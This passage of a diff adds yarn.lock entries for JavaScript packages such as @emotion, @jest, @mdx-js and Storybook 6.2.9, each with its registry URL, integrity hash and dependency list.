+ resolved "https://registry.yarnpkg.com/@emotion/styled-base/-/styled-base-10.0.31.tgz#940957ee0aa15c6974adc7d494ff19765a2f742a"
+ integrity sha512-wTOE1NcXmqMWlyrtwdkqg87Mu6Rj1MaukEoEmEkHirO5IoHDJ8LgCQL4MjJODgxWxXibGR3opGp1p7YvkNEdXQ==
+ dependencies:
+ "@babel/runtime" "^7.5.5"
+ "@emotion/is-prop-valid" "0.8.8"
+ "@emotion/serialize" "^0.11.15"
+ "@emotion/utils" "0.11.3"
+
+"@emotion/styled@^10.0.27":
+ version "10.0.27"
+ resolved "https://registry.yarnpkg.com/@emotion/styled/-/styled-10.0.27.tgz#12cb67e91f7ad7431e1875b1d83a94b814133eaf"
+ integrity sha512-iK/8Sh7+NLJzyp9a5+vIQIXTYxfT4yB/OJbjzQanB2RZpvmzBQOHZWhpAMZWYEKRNNbsD6WfBw5sVWkb6WzS/Q==
+ dependencies:
+ "@emotion/styled-base" "^10.0.27"
+ babel-plugin-emotion "^10.0.27"
+
+"@emotion/stylis@0.8.5":
+ version "0.8.5"
+ resolved "https://registry.yarnpkg.com/@emotion/stylis/-/stylis-0.8.5.tgz#deacb389bd6ee77d1e7fcaccce9e16c5c7e78e04"
+ integrity sha512-h6KtPihKFn3T9fuIrwvXXUOwlx3rfUvfZIcP5a6rh8Y7zjE3O06hT5Ss4S/YI1AYhuZ1kjaE/5EaOOI2NqSylQ==
+
+"@emotion/unitless@0.7.5":
+ version "0.7.5"
+ resolved "https://registry.yarnpkg.com/@emotion/unitless/-/unitless-0.7.5.tgz#77211291c1900a700b8a78cfafda3160d76949ed"
+ integrity sha512-OWORNpfjMsSSUBVrRBVGECkhWcULOAJz9ZW8uK9qgxD+87M7jHRcvh/A96XXNhXTLmKcoYSQtBEX7lHMO7YRwg==
+
+"@emotion/utils@0.11.3":
+ version "0.11.3"
+ resolved "https://registry.yarnpkg.com/@emotion/utils/-/utils-0.11.3.tgz#a759863867befa7e583400d322652a3f44820924"
+ integrity sha512-0o4l6pZC+hI88+bzuaX/6BgOvQVhbt2PfmxauVaYOGgbsAw14wdKyvMCZXnsnsHys94iadcF+RG/wZyx6+ZZBw==
+
+"@emotion/weak-memoize@0.2.5":
+ version "0.2.5"
+ resolved "https://registry.yarnpkg.com/@emotion/weak-memoize/-/weak-memoize-0.2.5.tgz#8eed982e2ee6f7f4e44c253e12962980791efd46"
+ integrity sha512-6U71C2Wp7r5XtFtQzYrW5iKFT67OixrSxjI4MptCHzdSVlgabczzqLe0ZSgnub/5Kp4hSbpDB1tMytZY9pwxxA==
+
+"@istanbuljs/load-nyc-config@^1.0.0":
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz#fd3db1d59ecf7cf121e80650bb86712f9b55eced"
+ integrity sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==
+ dependencies:
+ camelcase "^5.3.1"
+ find-up "^4.1.0"
+ get-package-type "^0.1.0"
+ js-yaml "^3.13.1"
+ resolve-from "^5.0.0"
+
+"@istanbuljs/schema@^0.1.2":
+ version "0.1.3"
+ resolved "https://registry.yarnpkg.com/@istanbuljs/schema/-/schema-0.1.3.tgz#e45e384e4b8ec16bce2fd903af78450f6bf7ec98"
+ integrity sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==
+
+"@jest/transform@^26.6.2":
+ version "26.6.2"
+ resolved "https://registry.yarnpkg.com/@jest/transform/-/transform-26.6.2.tgz#5ac57c5fa1ad17b2aae83e73e45813894dcf2e4b"
+ integrity sha512-E9JjhUgNzvuQ+vVAL21vlyfy12gP0GhazGgJC4h6qUt1jSdUXGWJ1wfu/X7Sd8etSgxV4ovT1pb9v5D6QW4XgA==
+ dependencies:
+ "@babel/core" "^7.1.0"
+ "@jest/types" "^26.6.2"
+ babel-plugin-istanbul "^6.0.0"
+ chalk "^4.0.0"
+ convert-source-map "^1.4.0"
+ fast-json-stable-stringify "^2.0.0"
+ graceful-fs "^4.2.4"
+ jest-haste-map "^26.6.2"
+ jest-regex-util "^26.0.0"
+ jest-util "^26.6.2"
+ micromatch "^4.0.2"
+ pirates "^4.0.1"
+ slash "^3.0.0"
+ source-map "^0.6.1"
+ write-file-atomic "^3.0.0"
+
+"@jest/types@^26.6.2":
+ version "26.6.2"
+ resolved "https://registry.yarnpkg.com/@jest/types/-/types-26.6.2.tgz#bef5a532030e1d88a2f5a6d933f84e97226ed48e"
+ integrity sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==
+ dependencies:
+ "@types/istanbul-lib-coverage" "^2.0.0"
+ "@types/istanbul-reports" "^3.0.0"
+ "@types/node" "*"
+ "@types/yargs" "^15.0.0"
+ chalk "^4.0.0"
+
+"@mdx-js/loader@^1.6.22":
+ version "1.6.22"
+ resolved "https://registry.yarnpkg.com/@mdx-js/loader/-/loader-1.6.22.tgz#d9e8fe7f8185ff13c9c8639c048b123e30d322c4"
+ integrity sha512-9CjGwy595NaxAYp0hF9B/A0lH6C8Rms97e2JS9d3jVUtILn6pT5i5IV965ra3lIWc7Rs1GG1tBdVF7dCowYe6Q==
+ dependencies:
+ "@mdx-js/mdx" "1.6.22"
+ "@mdx-js/react" "1.6.22"
+ loader-utils "2.0.0"
+
+"@mdx-js/mdx@1.6.22", "@mdx-js/mdx@^1.6.22":
+ version "1.6.22"
+ resolved "https://registry.yarnpkg.com/@mdx-js/mdx/-/mdx-1.6.22.tgz#8a723157bf90e78f17dc0f27995398e6c731f1ba"
+ integrity sha512-AMxuLxPz2j5/6TpF/XSdKpQP1NlG0z11dFOlq+2IP/lSgl11GY8ji6S/rgsViN/L0BDvHvUMruRb7ub+24LUYA==
+ dependencies:
+ "@babel/core" "7.12.9"
+ "@babel/plugin-syntax-jsx" "7.12.1"
+ "@babel/plugin-syntax-object-rest-spread" "7.8.3"
+ "@mdx-js/util" "1.6.22"
+ babel-plugin-apply-mdx-type-prop "1.6.22"
+ babel-plugin-extract-import-names "1.6.22"
+ camelcase-css "2.0.1"
+ detab "2.0.4"
+ hast-util-raw "6.0.1"
+ lodash.uniq "4.5.0"
+ mdast-util-to-hast "10.0.1"
+ remark-footnotes "2.0.0"
+ remark-mdx "1.6.22"
+ remark-parse "8.0.3"
+ remark-squeeze-paragraphs "4.0.0"
+ style-to-object "0.3.0"
+ unified "9.2.0"
+ unist-builder "2.0.3"
+ unist-util-visit "2.0.3"
+
+"@mdx-js/react@1.6.22", "@mdx-js/react@^1.6.22":
+ version "1.6.22"
+ resolved "https://registry.yarnpkg.com/@mdx-js/react/-/react-1.6.22.tgz#ae09b4744fddc74714ee9f9d6f17a66e77c43573"
+ integrity sha512-TDoPum4SHdfPiGSAaRBw7ECyI8VaHpK8GJugbJIJuqyh6kzw9ZLJZW3HGL3NNrJGxcAixUvqROm+YuQOo5eXtg==
+
+"@mdx-js/util@1.6.22":
+ version "1.6.22"
+ resolved "https://registry.yarnpkg.com/@mdx-js/util/-/util-1.6.22.tgz#219dfd89ae5b97a8801f015323ffa4b62f45718b"
+ integrity sha512-H1rQc1ZOHANWBvPcW+JpGwr+juXSxM8Q8YCkm3GhZd8REu1fHR3z99CErO1p9pkcfcxZnMdIZdIsXkOHY0NilA==
+
+"@mrmlnc/readdir-enhanced@^2.2.1":
+ version "2.2.1"
+ resolved "https://registry.yarnpkg.com/@mrmlnc/readdir-enhanced/-/readdir-enhanced-2.2.1.tgz#524af240d1a360527b730475ecfa1344aa540dde"
+ integrity sha512-bPHp6Ji8b41szTOcaP63VlnbbO5Ny6dwAATtY6JTjh5N2OLrb5Qk/Th5cRkRQhkWCt+EJsYrNB0MiL+Gpn6e3g==
+ dependencies:
+ call-me-maybe "^1.0.1"
+ glob-to-regexp "^0.3.0"
+
+"@nodelib/fs.scandir@2.1.4":
+ version "2.1.4"
+ resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.4.tgz#d4b3549a5db5de2683e0c1071ab4f140904bbf69"
+ integrity sha512-33g3pMJk3bg5nXbL/+CY6I2eJDzZAni49PfJnL5fghPTggPvBd/pFNSgJsdAgWptuFu7qq/ERvOYFlhvsLTCKA==
+ dependencies:
+ "@nodelib/fs.stat" "2.0.4"
+ run-parallel "^1.1.9"
+
+"@nodelib/fs.stat@2.0.4", "@nodelib/fs.stat@^2.0.2":
+ version "2.0.4"
+ resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.4.tgz#a3f2dd61bab43b8db8fa108a121cfffe4c676655"
+ integrity sha512-IYlHJA0clt2+Vg7bccq+TzRdJvv19c2INqBSsoOLp1je7xjtr7J26+WXR72MCdvU9q1qTzIWDfhMf+DRvQJK4Q==
+
+"@nodelib/fs.stat@^1.1.2":
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-1.1.3.tgz#2b5a3ab3f918cca48a8c754c08168e3f03eba61b"
+ integrity sha512-shAmDyaQC4H92APFoIaVDHCx5bStIocgvbwQyxPRrbUY20V1EYTbSDchWbuwlMG3V17cprZhA6+78JfB+3DTPw==
+
+"@nodelib/fs.walk@^1.2.3":
+ version "1.2.6"
+ resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.6.tgz#cce9396b30aa5afe9e3756608f5831adcb53d063"
+ integrity sha512-8Broas6vTtW4GIXTAHDoE32hnN2M5ykgCpWGbuXHQ15vEMqr23pB76e/GZcYsZCHALv50ktd24qhEyKr6wBtow==
+ dependencies:
+ "@nodelib/fs.scandir" "2.1.4"
+ fastq "^1.6.0"
+
+"@npmcli/move-file@^1.0.1":
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/@npmcli/move-file/-/move-file-1.1.2.tgz#1a82c3e372f7cae9253eb66d72543d6b8685c674"
+ integrity sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==
+ dependencies:
+ mkdirp "^1.0.4"
+ rimraf "^3.0.2"
+
+"@popperjs/core@^2.5.4", "@popperjs/core@^2.6.0":
+ version "2.9.2"
+ resolved "https://registry.yarnpkg.com/@popperjs/core/-/core-2.9.2.tgz#adea7b6953cbb34651766b0548468e743c6a2353"
+ integrity sha512-VZMYa7+fXHdwIq1TDhSXoVmSPEGM/aa+6Aiq3nVVJ9bXr24zScr+NlKFKC3iPljA7ho/GAZr+d2jOf5GIRC30Q==
+
+"@reach/router@^1.3.4":
+ version "1.3.4"
+ resolved "https://registry.yarnpkg.com/@reach/router/-/router-1.3.4.tgz#d2574b19370a70c80480ed91f3da840136d10f8c"
+ integrity sha512-+mtn9wjlB9NN2CNnnC/BRYtwdKBfSyyasPYraNAyvaV1occr/5NnB4CVzjEZipNHwYebQwcndGUmpFzxAUoqSA==
+ dependencies:
+ create-react-context "0.3.0"
+ invariant "^2.2.3"
+ prop-types "^15.6.1"
+ react-lifecycles-compat "^3.0.4"
+
+"@storybook/addon-a11y@^6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-a11y/-/addon-a11y-6.2.9.tgz#8386d73343db03c15d07f6bf927a4030d441d1ff"
+ integrity sha512-wo7nFpEqEeiHDsRKnhqe2gIHZ9Z7/Aefw570kBgReU5tKlmrb5rFAfTVBWGBZlLHWeJMsFsRsWrWrmkf1B52OQ==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/channels" "6.2.9"
+ "@storybook/client-api" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/theming" "6.2.9"
+ axe-core "^4.1.1"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ react-sizeme "^3.0.1"
+ regenerator-runtime "^0.13.7"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/addon-actions@6.2.9", "@storybook/addon-actions@^6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-actions/-/addon-actions-6.2.9.tgz#688413ac77410690755a5da3c277bfa0ff1a10b0"
+ integrity sha512-CkUYSMt+fvuHfWvtDzlhhaeQBCWlUo99xdL88JTsTml05P43bIHZNIRv2QJ8DwhHuxdIPeHKLmz9y/ymOagOnw==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/client-api" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/theming" "6.2.9"
+ core-js "^3.8.2"
+ fast-deep-equal "^3.1.3"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ polished "^4.0.5"
+ prop-types "^15.7.2"
+ react-inspector "^5.1.0"
+ regenerator-runtime "^0.13.7"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+ uuid-browser "^3.1.0"
+
+"@storybook/addon-backgrounds@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-backgrounds/-/addon-backgrounds-6.2.9.tgz#4f75aa58b262f461d9f8713d65d11407f4e53537"
+ integrity sha512-oPSdeoUuvaXshY5sQRagbYXpr6ZEVUuLhGYBnZTlvm19QMeNCXQE+rdlgzcgyafq4mc1FI/udE2MpJ1dhfS6pQ==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/theming" "6.2.9"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ memoizerific "^1.11.3"
+ regenerator-runtime "^0.13.7"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/addon-controls@6.2.9", "@storybook/addon-controls@^6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-controls/-/addon-controls-6.2.9.tgz#eeec14b2946f1fb5326115f2205ed72c7f44ccea"
+ integrity sha512-NvXAJ7I5U4CLxv4wL3/Ne9rehJlgnSmQlLIG/z6dg5zm7JIb48LT4IY6GzjlUP5LkjmO9KJ8gJC249uRt2iPBQ==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/client-api" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/node-logger" "6.2.9"
+ "@storybook/theming" "6.2.9"
+ core-js "^3.8.2"
+ ts-dedent "^2.0.0"
+
+"@storybook/addon-docs@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-docs/-/addon-docs-6.2.9.tgz#61271e54ff4ea490409e4873ed022e62577366c1"
+ integrity sha512-qOtwgiqI3LMqT0eXYNV6ykp7qSu0LQGeXxy3wOBGuDDqAizfgnAjomYEWGFcyKp5ahV7HCRCjxbixAklFPUmyw==
+ dependencies:
+ "@babel/core" "^7.12.10"
+ "@babel/generator" "^7.12.11"
+ "@babel/parser" "^7.12.11"
+ "@babel/plugin-transform-react-jsx" "^7.12.12"
+ "@babel/preset-env" "^7.12.11"
+ "@jest/transform" "^26.6.2"
+ "@mdx-js/loader" "^1.6.22"
+ "@mdx-js/mdx" "^1.6.22"
+ "@mdx-js/react" "^1.6.22"
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/builder-webpack4" "6.2.9"
+ "@storybook/client-api" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/core" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/csf" "0.0.1"
+ "@storybook/node-logger" "6.2.9"
+ "@storybook/postinstall" "6.2.9"
+ "@storybook/source-loader" "6.2.9"
+ "@storybook/theming" "6.2.9"
+ acorn "^7.4.1"
+ acorn-jsx "^5.3.1"
+ acorn-walk "^7.2.0"
+ core-js "^3.8.2"
+ doctrine "^3.0.0"
+ escodegen "^2.0.0"
+ fast-deep-equal "^3.1.3"
+ global "^4.4.0"
+ html-tags "^3.1.0"
+ js-string-escape "^1.0.1"
+ loader-utils "^2.0.0"
+ lodash "^4.17.20"
+ prettier "~2.2.1"
+ prop-types "^15.7.2"
+ react-element-to-jsx-string "^14.3.2"
+ regenerator-runtime "^0.13.7"
+ remark-external-links "^8.0.0"
+ remark-slug "^6.0.0"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/addon-essentials@^6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-essentials/-/addon-essentials-6.2.9.tgz#cd946b024804c4d9bfec4e232b74ffdf936b25ef"
+ integrity sha512-zXsV4e1TCkHyDwi7hew4h9eJfDW++f2BNKzTif+DAcjPUVFDp7yC17gLjS5IhOjcQk+db0UUlFSx/OrTxhy7Xw==
+ dependencies:
+ "@storybook/addon-actions" "6.2.9"
+ "@storybook/addon-backgrounds" "6.2.9"
+ "@storybook/addon-controls" "6.2.9"
+ "@storybook/addon-docs" "6.2.9"
+ "@storybook/addon-toolbars" "6.2.9"
+ "@storybook/addon-viewport" "6.2.9"
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/node-logger" "6.2.9"
+ core-js "^3.8.2"
+ regenerator-runtime "^0.13.7"
+ ts-dedent "^2.0.0"
+
+"@storybook/addon-toolbars@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-toolbars/-/addon-toolbars-6.2.9.tgz#29f2f4cba0bfbcff9424958eb573e537f7e2d5af"
+ integrity sha512-4WjIofN5npBPNZ8v1UhzPeATB9RnAWRH/y1AVS1HB+zl6Ku92o7aOMqVxs8zR1oSSmtkHh/rcUcpATFKjuofdw==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/client-api" "6.2.9"
+ "@storybook/components" "6.2.9"
+ core-js "^3.8.2"
+
+"@storybook/addon-viewport@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addon-viewport/-/addon-viewport-6.2.9.tgz#e380de567cea6c24c4e933efa009e80428d5b49e"
+ integrity sha512-IK2mu5njmfcAT967SJtBOY2B6NPMikySZga9QuaLdSpQxPd3vXKNMVG1CjnduMLeDaAoUlvlJISeEPbYGuE+1A==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/theming" "6.2.9"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ memoizerific "^1.11.3"
+ prop-types "^15.7.2"
+ regenerator-runtime "^0.13.7"
+
+"@storybook/addons@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/addons/-/addons-6.2.9.tgz#b7ba2b9f0e15b852c7d6b57d04fb0a493c57477c"
+ integrity sha512-GnmEKbJwiN1jncN9NSA8CuR1i2XAlasPcl/Zn0jkfV9WitQeczVcJCPw86SGH84AD+tTBCyF2i9UC0KaOV1YBQ==
+ dependencies:
+ "@storybook/api" "6.2.9"
+ "@storybook/channels" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/router" "6.2.9"
+ "@storybook/theming" "6.2.9"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ regenerator-runtime "^0.13.7"
+
+"@storybook/api@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/api/-/api-6.2.9.tgz#a9b46569192ad5d8da6435c9d63dc4b0c8463b51"
+ integrity sha512-okkA3HAScE9tGnYBrjTOcgzT+L1lRHNoEh3ZfGgh1u/XNEyHGNkj4grvkd6nX7BzRcYQ/l2VkcKCqmOjUnSkVQ==
+ dependencies:
+ "@reach/router" "^1.3.4"
+ "@storybook/channels" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/csf" "0.0.1"
+ "@storybook/router" "6.2.9"
+ "@storybook/semver" "^7.3.2"
+ "@storybook/theming" "6.2.9"
+ "@types/reach__router" "^1.3.7"
+ core-js "^3.8.2"
+ fast-deep-equal "^3.1.3"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ memoizerific "^1.11.3"
+ qs "^6.10.0"
+ regenerator-runtime "^0.13.7"
+ store2 "^2.12.0"
+ telejson "^5.1.0"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/builder-webpack4@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/builder-webpack4/-/builder-webpack4-6.2.9.tgz#dddff0b1b4590a7ba088ce13e7cc42e482f6455d"
+ integrity sha512-swECic1huVdj+B+iRJIQ8ds59HuPVE4fmhI+j/nhw0CQCsgAEKqDlOQVYEimW6nZX8GO4WxNm6tiiRzxixejbw==
+ dependencies:
+ "@babel/core" "^7.12.10"
+ "@babel/plugin-proposal-class-properties" "^7.12.1"
+ "@babel/plugin-proposal-decorators" "^7.12.12"
+ "@babel/plugin-proposal-export-default-from" "^7.12.1"
+ "@babel/plugin-proposal-nullish-coalescing-operator" "^7.12.1"
+ "@babel/plugin-proposal-object-rest-spread" "^7.12.1"
+ "@babel/plugin-proposal-optional-chaining" "^7.12.7"
+ "@babel/plugin-proposal-private-methods" "^7.12.1"
+ "@babel/plugin-syntax-dynamic-import" "^7.8.3"
+ "@babel/plugin-transform-arrow-functions" "^7.12.1"
+ "@babel/plugin-transform-block-scoping" "^7.12.12"
+ "@babel/plugin-transform-classes" "^7.12.1"
+ "@babel/plugin-transform-destructuring" "^7.12.1"
+ "@babel/plugin-transform-for-of" "^7.12.1"
+ "@babel/plugin-transform-parameters" "^7.12.1"
+ "@babel/plugin-transform-shorthand-properties" "^7.12.1"
+ "@babel/plugin-transform-spread" "^7.12.1"
+ "@babel/plugin-transform-template-literals" "^7.12.1"
+ "@babel/preset-env" "^7.12.11"
+ "@babel/preset-react" "^7.12.10"
+ "@babel/preset-typescript" "^7.12.7"
+ "@storybook/addons" "6.2.9"
+ "@storybook/api" "6.2.9"
+ "@storybook/channel-postmessage" "6.2.9"
+ "@storybook/channels" "6.2.9"
+ "@storybook/client-api" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/components" "6.2.9"
+ "@storybook/core-common" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/node-logger" "6.2.9"
+ "@storybook/router" "6.2.9"
+ "@storybook/semver" "^7.3.2"
+ "@storybook/theming" "6.2.9"
+ "@storybook/ui" "6.2.9"
+ "@types/node" "^14.0.10"
+ "@types/webpack" "^4.41.26"
+ autoprefixer "^9.8.6"
+ babel-loader "^8.2.2"
+ babel-plugin-macros "^2.8.0"
+ babel-plugin-polyfill-corejs3 "^0.1.0"
+ case-sensitive-paths-webpack-plugin "^2.3.0"
+ core-js "^3.8.2"
+ css-loader "^3.6.0"
+ dotenv-webpack "^1.8.0"
+ file-loader "^6.2.0"
+ find-up "^5.0.0"
+ fork-ts-checker-webpack-plugin "^4.1.6"
+ fs-extra "^9.0.1"
+ glob "^7.1.6"
+ glob-promise "^3.4.0"
+ global "^4.4.0"
+ html-webpack-plugin "^4.0.0"
+ pnp-webpack-plugin "1.6.4"
+ postcss "^7.0.35"
+ postcss-flexbugs-fixes "^4.2.1"
+ postcss-loader "^4.2.0"
+ raw-loader "^4.0.2"
+ react-dev-utils "^11.0.3"
+ stable "^0.1.8"
+ style-loader "^1.3.0"
+ terser-webpack-plugin "^3.1.0"
+ ts-dedent "^2.0.0"
+ url-loader "^4.1.1"
+ util-deprecate "^1.0.2"
+ webpack "4"
+ webpack-dev-middleware "^3.7.3"
+ webpack-filter-warnings-plugin "^1.2.1"
+ webpack-hot-middleware "^2.25.0"
+ webpack-virtual-modules "^0.2.2"
+
+"@storybook/channel-postmessage@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/channel-postmessage/-/channel-postmessage-6.2.9.tgz#ad85573e0a5d6f0cde3504f168d87a73cb0b6269"
+ integrity sha512-OqV+gLeeCHR0KExsIz0B7gD17Cjd9D+I75qnBsLWM9inWO5kc/WZ5svw8Bvjlcm6snWpvxUaT8L+svuqcPSmww==
+ dependencies:
+ "@storybook/channels" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ qs "^6.10.0"
+ telejson "^5.1.0"
+
+"@storybook/channels@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/channels/-/channels-6.2.9.tgz#a9fd7f25102cbec15fb56f76abf891b7b214e9de"
+ integrity sha512-6dC8Fb2ipNyOQXnUZMDeEUaJGH5DMLzyHlGLhVyDtrO5WR6bO8mQdkzf4+5dSKXgCBNX0BSkssXth4pDjn18rg==
+ dependencies:
+ core-js "^3.8.2"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/client-api@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/client-api/-/client-api-6.2.9.tgz#f0bb44e9b2692adfbf30d7ff751c6dd44bcfe1ce"
+ integrity sha512-aLvEUVkbvv6Qo/2mF4rFCecdqi2CGOUDdsV1a6EFIVS/9gXFdpirsOwKHo9qNjacGdWPlBYGCUcbrw+DvNaSFA==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/channel-postmessage" "6.2.9"
+ "@storybook/channels" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/csf" "0.0.1"
+ "@types/qs" "^6.9.5"
+ "@types/webpack-env" "^1.16.0"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ memoizerific "^1.11.3"
+ qs "^6.10.0"
+ regenerator-runtime "^0.13.7"
+ stable "^0.1.8"
+ store2 "^2.12.0"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/client-logger@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/client-logger/-/client-logger-6.2.9.tgz#77c1ea39684ad2a2cf6836051b381fc5b354e132"
+ integrity sha512-IfOQZuvpjh66qBInQCJOb9S0dTGpzZ/Cxlcvokp+PYt95KztaWN3mPm+HaDQCeRsrWNe0Bpm1zuickcJ6dBOXg==
+ dependencies:
+ core-js "^3.8.2"
+ global "^4.4.0"
+
+"@storybook/components@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/components/-/components-6.2.9.tgz#7189f9715b05720fe083ae8ad014849f14e98e73"
+ integrity sha512-hnV1MI2aB2g1sJ7NJphpxi7TwrMZQ/tpCJeHnkjmzyC6ez1MXqcBXGrEEdSXzRfAxjQTOEpu6H1mnns0xMP0Ag==
+ dependencies:
+ "@popperjs/core" "^2.6.0"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/csf" "0.0.1"
+ "@storybook/theming" "6.2.9"
+ "@types/color-convert" "^2.0.0"
+ "@types/overlayscrollbars" "^1.12.0"
+ "@types/react-syntax-highlighter" "11.0.5"
+ color-convert "^2.0.1"
+ core-js "^3.8.2"
+ fast-deep-equal "^3.1.3"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ markdown-to-jsx "^7.1.0"
+ memoizerific "^1.11.3"
+ overlayscrollbars "^1.13.1"
+ polished "^4.0.5"
+ prop-types "^15.7.2"
+ react-colorful "^5.0.1"
+ react-popper-tooltip "^3.1.1"
+ react-syntax-highlighter "^13.5.3"
+ react-textarea-autosize "^8.3.0"
+ regenerator-runtime "^0.13.7"
+ ts-dedent "^2.0.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/core-client@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/core-client/-/core-client-6.2.9.tgz#3f611947e64dee0a297e512ff974087bc52c1877"
+ integrity sha512-jW841J5lCe1Ub5ZMtzYPgCy/OUddFxxVYeHLZyuNxlH5RoiQQxbDpuFlzuZMYGuIzD6eZw+ANE4w5vW/y5oBfA==
+ dependencies:
+ "@storybook/addons" "6.2.9"
+ "@storybook/channel-postmessage" "6.2.9"
+ "@storybook/client-api" "6.2.9"
+ "@storybook/client-logger" "6.2.9"
+ "@storybook/core-events" "6.2.9"
+ "@storybook/csf" "0.0.1"
+ "@storybook/ui" "6.2.9"
+ ansi-to-html "^0.6.11"
+ core-js "^3.8.2"
+ global "^4.4.0"
+ lodash "^4.17.20"
+ qs "^6.10.0"
+ regenerator-runtime "^0.13.7"
+ ts-dedent "^2.0.0"
+ unfetch "^4.2.0"
+ util-deprecate "^1.0.2"
+
+"@storybook/core-common@6.2.9":
+ version "6.2.9"
+ resolved "https://registry.yarnpkg.com/@storybook/core-common/-/core-common-6.2.9.tgz#54f8e005733d39c4cb90eec7c17f9ca4dcbeec5f"
+ integrity sha512-ve0Qb4EMit8jGibfZBprmaU2i4LtpB4vSMIzD9nB1YeBmw2cGhHubtmayZ0TwcV3fPQhtYH9wwRWuWyzzHyQyw==
+ dependencies:
